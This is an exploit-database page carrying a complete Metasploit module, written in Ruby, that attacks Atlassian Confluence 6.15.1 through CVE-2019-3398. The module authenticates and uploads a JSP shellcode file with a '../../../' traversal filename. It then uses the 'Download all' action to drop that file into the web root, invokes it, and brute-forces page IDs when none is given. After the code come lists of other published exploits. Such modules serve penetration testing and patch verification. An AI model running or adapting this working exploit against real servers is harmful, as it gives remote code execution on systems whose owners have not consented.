Menu

Search for hundreds of thousands of exploits

"Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)"

Author

Exploit author

max7253

Platform

Exploit platform

jsp

Release date

Exploit published date

2019-11-12

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
# Exploit Title: Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: max7253
# Vendor Homepage: https://www.atlassian.com
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: 6.15.1
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, Linux 5.0.0-23-generic #24~18.04.1-Ubuntu
# CVE : N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
	super(update_info(info,
	'Name'			=> "Confluence Arbitrary File Write via Path Traversal (CVE-2019-3398)",
	'Description'		=> %q{
	To use this exploit you should specify the following variables:
	USERNAME and PASSWORD - the login/password to log into the web interface of the Atlassian Confluence server.
	ROOTFOLDER - the root directory of the web server. If the root directory is located in C:\confluence\pages\, set this variable to ROOTFOLDER = 'confluence/pages/'.
	Typical ROOTFOLDER locations are:
	Windows: Program Files/Atlassian/Confluence/confluence/pages/
	Linux: opt/atlassian/confluence/confluence/pages/
	Note that the root directory of the web server and the temporary directory of the Atlassian Confluence server on Windows must be on the same drive (C:\ in the example above).
	PAGEID - the pageId URL parameter you see in the browser address bar when you vist the Atlassian Confluence page where you have rights to upload files.
	For example, https://server.net/pages/viewpageattachments.action?pageId=111111111&metadataLink=true.
	If PAGEID is set to 0, the script will try to create a new Page ID. If it fails, it will try to create a new space and create a Page ID there.
	If PAGEID is not specified, the script will walk though the PAGEID_RANGE_START..PAGEID_RANGE_END range.
	The script gets authenticated to the Atlassian Confluence server, retrieves the ATLASSIAN TOKEN from the server response, uploads the shellcode, then imitates the 'Download all' action to place the shellcode to the root directory of the web server.
	Tested on Atlassian v6.15.1. on Linux and Windows.
	Note that on Linux Confluence runs under the 'confluence' account which may not have rights to save files in the root directory of the web server. In this case the exploit will fail. Also, to create a new space and get the list of existing spaces the script makes use of Confluence REST API, which is available starting from Confluence Server 5.5.
	},
	'License'			=> MSF_LICENSE,
	'Author'			=>
	[
		'Maxim Guslyaev'      # Metasploit module
	],
	'References'		=>
	[
		[ 'CVE', '2019-3398' ],
		[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html' ],
		[ 'URL', 'https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181'],
		[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-3398']
	],
	'Privileged'		=> false,
	'Platform'		=> %w{ linux win },
	'Targets'			=>
	[
		[ 'Windows', { 'Platform' => 'win',   'Arch' => ARCH_JAVA  }],
		[ 'Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_JAVA  }]
	],
	'DefaultOptions'	=>
	{
		'RPORT' => 8090,
		'SSL' => false
	},
	'DisclosureDate' => 'Nov 9 2019',
	'DefaultTarget'  => 0
	))

	register_options(
	[
		OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']),        
		OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']),
		OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']),
		#OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']),
		OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']),
		OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
		OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']),
		OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]),
		OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']),
		OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']),
		
	], self.class)
end

def do_authenticate
	print_status("Sending POST request to the web application (authentication)...")
	res = send_request_cgi({
		'uri'              => normalize_uri(target_uri.path.to_s, '/dologin.action'),
		'method'           => 'POST',
		'vars_post'        => {
		'os_username'    => datastore['USERNAME'],
		'os_password'    => datastore['PASSWORD'],
		'os_destination' => '',
		'login'          => 'Log+In'
					}
			})
	if res.nil?
		print_status("Unable to access the web application!")
		return 0
	end
	@sessid = get_sid(res)
	if @sessid.nil?
		print_status("Unable to retrieve session ID!")
		return 0
	end
	print_status("Getting Session ID from the web application... #{@sessid}")
	
	if res && res.redirect?
		location = res.redirection
		if location.nil?
			print_status("Unable to access the web application when redirected!")
			return 0
		end
		res = send_request_cgi!({
		'uri'              => normalize_uri(target_uri.path.to_s, location.to_s),
		'method'           => 'GET',
		'headers'       => {
		'Cookie'           => @sessid
					}
			}, redirect_depth = 5)
	end

	if res && res.code == 200
		if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/
			print_status("Authentication failed...")
			return 0
		end

		@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
		if @xsrf_token.nil? or @xsrf_token.blank?
			print_status("Failed to retrieve XSRF token...")
			return 0
		else
			print_status("Retrieving XSRF token... #{@xsrf_token}")
			return 1
		end
	else
		print_status("Unexpected response from the web application...")
		return 0
	end
end

def do_upload(_pageid)
	print_status("Sending POST request to the web application (shellcode upload)...")
	res = send_request_cgi({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'),
		'method'		=> 'POST',
		'vars_get'		=> {
		'pageId'		=> _pageid,
		'filename'		=> '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'],
		'size'			=> payload.encoded.length,
		'mimeType'		=> 'text/plain',
		'spaceKey'		=> 'isis',
		'atl_token'		=> @xsrf_token,
		'name'			=> datastore['FILENAME']
		},
		'data'			=> payload.encoded,
		'headers'		=> {
          	'Connection'		=> 'close',
		'Accept'		=> '*/*',
		'Accept-Encoding'	=> 'identity',
          	'Cookie'		=> @sessid,
		'Content-Length'	=> payload.encoded.length,
		'Content-Type'		=> 'text/plain'
		}
		})
	if res && res.code == 200 && res.body.scan(/actionErrors/).blank?
		print_status("Shellcode uploaded...")
		return 1
	else
		return 0
	end
end

def do_downloadall(_pageid)
	for downloadall_iter in 1..10
		print_status("Sending GET request to the web application (downloadall)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'),
			'method'		=> 'GET',
			'vars_get'		=> {
			'pageId'		=> _pageid
			},
			'headers'		=> {
          		'Cookie'		=> @sessid
			}
			})
		
		print_status("Sending GET request to the web application (shellcode invokation)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']),
			'method'		=> 'GET',
			'headers'		=> {
          		'Cookie'		=> @sessid
			}
			}, timeout = 10)

		if res && res.code == 200
			print_status("Shellcode found...")
			return 1
		else
			if downloadall_iter == 10
				print_status("Shellcode not found...")
				return 0
			end
		end
	end
end

def do_getspaces
	print_status("Sending GET request to the web application (getting available spaces)...")
		res = send_request_cgi({
			'uri'			=> normalize_uri(target_uri.path.to_s, '/rest/api/space'),
			'method'		=> 'GET',
			'headers'		=> {
			'User-Agent'		=> 'python-requests/2.20.0',
        		'Cookie'		=> @sessid,
			'Accept'		=> '*/*',
			'Accept-Encoding'	=> 'identity',
			'Content-Type'		=> 'application/json'
			}
			})

		if res && res.code == 200 && res.body =~ /results/
			space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten
		else
			space_list = Array([])
		end
	return space_list
end

def do_createspace
	print_status("Sending POST request to the web application (creating a space)...")
	res = send_request_cgi({
	'uri'			=> normalize_uri(target_uri.path.to_s, '/rest/api/space'),
	'method'		=> 'POST',
	'data'			=> {
		"key": datastore['NEWSPACE'],
		"name": "Example space",
		"description": {
		"plain": {
		"value": "This is an example space",
		"representation": "plain"
		}
		},
		"metadata": {}
		}.to_json,
	'headers'		=> {
	'User-Agent'		=> 'python-requests/2.20.0',
        'Cookie'		=> @sessid,
	'Accept-Encoding'	=> 'identity',
	'Content-Type'		=> 'application/json'
	}
	})

	if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/
		print_status("Space created...")
		return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0]
	else
		print_status("Space not created...")
		return 0
	end			
end

def do_createpage(_space)
	print_status("Sending GET request to the web application (creating Page ID), space #{_space}...")
	res = send_request_cgi({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space),
		'method'		=> 'GET',
		'headers'		=> {
        	'Cookie'		=> @sessid
		}
		})
	if res && res.code == 200 && res.body =~ /ajs-draft-id/
		pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content']
		pageid_parsed = /(\d+)/.match(pageid)
		if pageid_parsed.nil?
			print_status("Unexpected Page ID format...")
			return 0
		else
			print_status("Page ID created... #{pageid}")
			datastore['PAGEID'] = pageid
			return 1
		end
	else
		return 0
	end
end

def get_sid(res)
	if res.nil?
		return ''
	end
	res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end


def exploit
	print_status("Getting authenticated to the web application...")
	if do_authenticate != 1
		fail_with(Failure::Unknown, 'Initial access or authentication error!')
	end
	
	unless datastore['PAGEID'].blank?
		if datastore['PAGEID'] == 0
			print_status("Creating Page ID...")
			spaces = do_getspaces
			for sp in spaces
				if do_createpage(sp) == 1
					print_status("Uploading shellcode...")
					if do_upload(datastore['PAGEID']) != 1
						print_status("Failed to upload shellcode...")
						next
					end					
					print_status("Invoking shellcode...")
					if do_downloadall(datastore['PAGEID']) != 1
						print_status("Failed to invoke shellcode...")
						next
					else
						return
					end
				end
			end

			print_status("Trying to create a new space...")
			new_sp = do_createspace

			if new_sp != 0
				if do_createpage(new_sp) == 1
					print_status("Uploading shellcode...")
					if do_upload(datastore['PAGEID']) != 1
						fail_with(Failure::Unknown, 'Error while uploading shellcode!')
					end
					print_status("Invoking shellcode...")
					if do_downloadall(datastore['PAGEID']) != 1
						fail_with(Failure::Unknown, 'Error while invoking shellcode!')				
					end

					return
				else
					fail_with(Failure::Unknown, 'Error while creating page in the newly created space!')
				end
			else
				fail_with(Failure::Unknown, 'Error while creating space!')
			end
		end	
			
		print_status("Uploading shellcode...")
		if do_upload(datastore['PAGEID']) != 1
			fail_with(Failure::Unknown, 'Error while uploading shellcode!')
		end
		print_status("Invoking shellcode...")
		if do_downloadall(datastore['PAGEID']) != 1
			fail_with(Failure::Unknown, 'Error while invoking shellcode!')				
		end
	else
		for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END']
			print_status("Trying Page Id #{id}")
			print_status("Uploading shellcode...")
			if do_upload(id) == 1
				print_status("Invoking shellcode...")
				if do_downloadall(id) == 1
					break
				end
			end
		end
	end

end

def check
	res = send_request_cgi!({
		'uri'			=> normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'),
		'method'		=> 'GET',
		}, redirect_depth = 5)

	if res && res.body =~ /Powered\sby/
		ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0]
		print_status("The version of the web application is #{ver}")
		ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s)
		if ver_parsed.nil?
			print_status("The version of the web application couldn't be parsed")
			return Exploit::CheckCode::Detected
		end
		ver_oct1 = ver_parsed[1].to_i
		ver_oct2 = ver_parsed[2].to_i
		ver_oct3 = ver_parsed[3].to_i
		
		if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1)
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe		
		end

	else
		return Exploit::CheckCode::Unknown
	end
end

end
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-11-12 "Atlassian Confluence 6.15.1 - Directory Traversal" webapps jsp max7253
2019-11-12 "Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)" webapps jsp max7253
2019-10-10 "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (Metasploit_ DEP Bypass)" local linux max7253
2019-10-07 "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)" local windows_x86-64 max7253
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.